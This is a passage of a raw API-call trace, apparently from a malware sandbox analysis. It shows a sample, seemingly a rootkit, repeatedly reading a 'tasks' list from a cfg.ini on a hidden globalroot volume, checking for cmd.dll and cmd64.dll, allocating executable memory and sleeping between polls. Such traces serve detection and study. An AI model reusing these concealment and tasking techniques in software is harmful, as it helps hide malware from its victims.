_strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.180] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.180] IdePortDispatch () returned 0x103 [0121.180] KeWaitForMutexObject () returned 0x0 [0121.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.180] KeLeaveCriticalRegion () [0121.180] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.181] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.181] KeEnterCriticalRegion () [0121.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.181] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.181] KeLeaveCriticalRegion () [0121.181] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.181] KeEnterCriticalRegion () [0121.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.181] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.181] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc37b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.181] KeLeaveCriticalRegion () [0121.181] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.181] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.181] KeEnterCriticalRegion () [0121.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.181] ExFreePoolWithTag (P=0xfffffa8003b67cf0, Tag=0x0) [0121.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.181] KeLeaveCriticalRegion () [0121.181] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.181] ReleaseMutex (hMutex=0xf0) returned 1 [0121.182] Sleep (dwMilliseconds=0x927c0) [0121.195] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.195] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.195] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.195] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.195] KeEnterCriticalRegion () [0121.195] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.196] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.196] IdePortDispatch () returned 0x103 [0121.196] KeWaitForMutexObject () returned 0x0 [0121.196] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.196] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.196] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.196] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.196] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.196] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3aa0 [0121.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.196] KeLeaveCriticalRegion () [0121.196] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.196] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.196] KeEnterCriticalRegion () [0121.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.196] KeLeaveCriticalRegion () [0121.196] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.196] KeEnterCriticalRegion () [0121.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.196] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.196] IdePortDispatch () returned 0x103 [0121.196] KeWaitForMutexObject () returned 0x0 [0121.196] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.196] KeLeaveCriticalRegion () [0121.196] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.197] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.197] KeEnterCriticalRegion () [0121.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.197] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d4000 [0121.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.197] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.197] IdePortDispatch () returned 0x103 [0121.197] KeWaitForMutexObject () returned 0x0 [0121.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.197] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.197] IdePortDispatch () returned 0x103 [0121.197] KeWaitForMutexObject () returned 0x0 [0121.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.197] KeLeaveCriticalRegion () [0121.197] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.198] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.198] KeEnterCriticalRegion () [0121.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.198] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.198] KeLeaveCriticalRegion () [0121.198] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.198] KeEnterCriticalRegion () [0121.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.198] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.198] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc34c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.198] KeLeaveCriticalRegion () [0121.198] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.198] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.198] KeEnterCriticalRegion () [0121.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.198] ExFreePoolWithTag (P=0xfffffa8003bc3aa0, Tag=0x0) [0121.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.198] KeLeaveCriticalRegion () [0121.198] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.198] ReleaseMutex (hMutex=0xf0) returned 1 [0121.198] Sleep (dwMilliseconds=0x927c0) [0121.213] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.213] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.213] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.213] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.213] KeEnterCriticalRegion () [0121.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.213] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.213] IdePortDispatch () returned 0x103 [0121.213] KeWaitForMutexObject () returned 0x0 [0121.213] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.213] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.213] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.213] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.213] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.213] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc37f0 [0121.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.213] KeLeaveCriticalRegion () [0121.213] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.213] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.213] KeEnterCriticalRegion () [0121.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.213] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.213] KeLeaveCriticalRegion () [0121.213] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.213] KeEnterCriticalRegion () [0121.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.213] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.213] IdePortDispatch () returned 0x103 [0121.214] KeWaitForMutexObject () returned 0x0 [0121.214] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.214] KeLeaveCriticalRegion () [0121.214] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.214] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.214] KeEnterCriticalRegion () [0121.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.214] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d9000 [0121.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.214] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.214] IdePortDispatch () returned 0x103 [0121.214] KeWaitForMutexObject () returned 0x0 [0121.214] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.214] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.214] IdePortDispatch () returned 0x103 [0121.214] KeWaitForMutexObject () returned 0x0 [0121.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.214] KeLeaveCriticalRegion () [0121.215] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.215] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.215] KeEnterCriticalRegion () [0121.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.215] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.215] KeLeaveCriticalRegion () [0121.215] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.215] KeEnterCriticalRegion () [0121.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.215] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.215] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.215] KeLeaveCriticalRegion () [0121.215] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.215] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.215] KeEnterCriticalRegion () [0121.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.215] ExFreePoolWithTag (P=0xfffffa8003bc37f0, Tag=0x0) [0121.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.215] KeLeaveCriticalRegion () [0121.215] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.215] ReleaseMutex (hMutex=0xf0) returned 1 [0121.215] Sleep (dwMilliseconds=0x927c0) [0121.230] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.230] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.230] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.230] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.230] KeEnterCriticalRegion () [0121.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.230] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.230] IdePortDispatch () returned 0x103 [0121.230] KeWaitForMutexObject () returned 0x0 [0121.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.230] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.230] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.230] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.230] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.230] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc36a0 [0121.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.230] KeLeaveCriticalRegion () [0121.230] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.230] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.230] KeEnterCriticalRegion () [0121.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.231] KeLeaveCriticalRegion () [0121.231] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.231] KeEnterCriticalRegion () [0121.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.231] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.231] IdePortDispatch () returned 0x103 [0121.231] KeWaitForMutexObject () returned 0x0 [0121.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.231] KeLeaveCriticalRegion () [0121.231] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.231] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.231] KeEnterCriticalRegion () [0121.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.231] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035de000 [0121.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.231] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.231] IdePortDispatch () returned 0x103 [0121.231] KeWaitForMutexObject () returned 0x0 [0121.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.232] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.232] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.232] IdePortDispatch () returned 0x103 [0121.232] KeWaitForMutexObject () returned 0x0 [0121.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.232] KeLeaveCriticalRegion () [0121.232] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.232] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.232] KeEnterCriticalRegion () [0121.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.232] KeLeaveCriticalRegion () [0121.232] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.232] KeEnterCriticalRegion () [0121.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.232] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.233] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.233] KeLeaveCriticalRegion () [0121.233] IofCompleteRequest 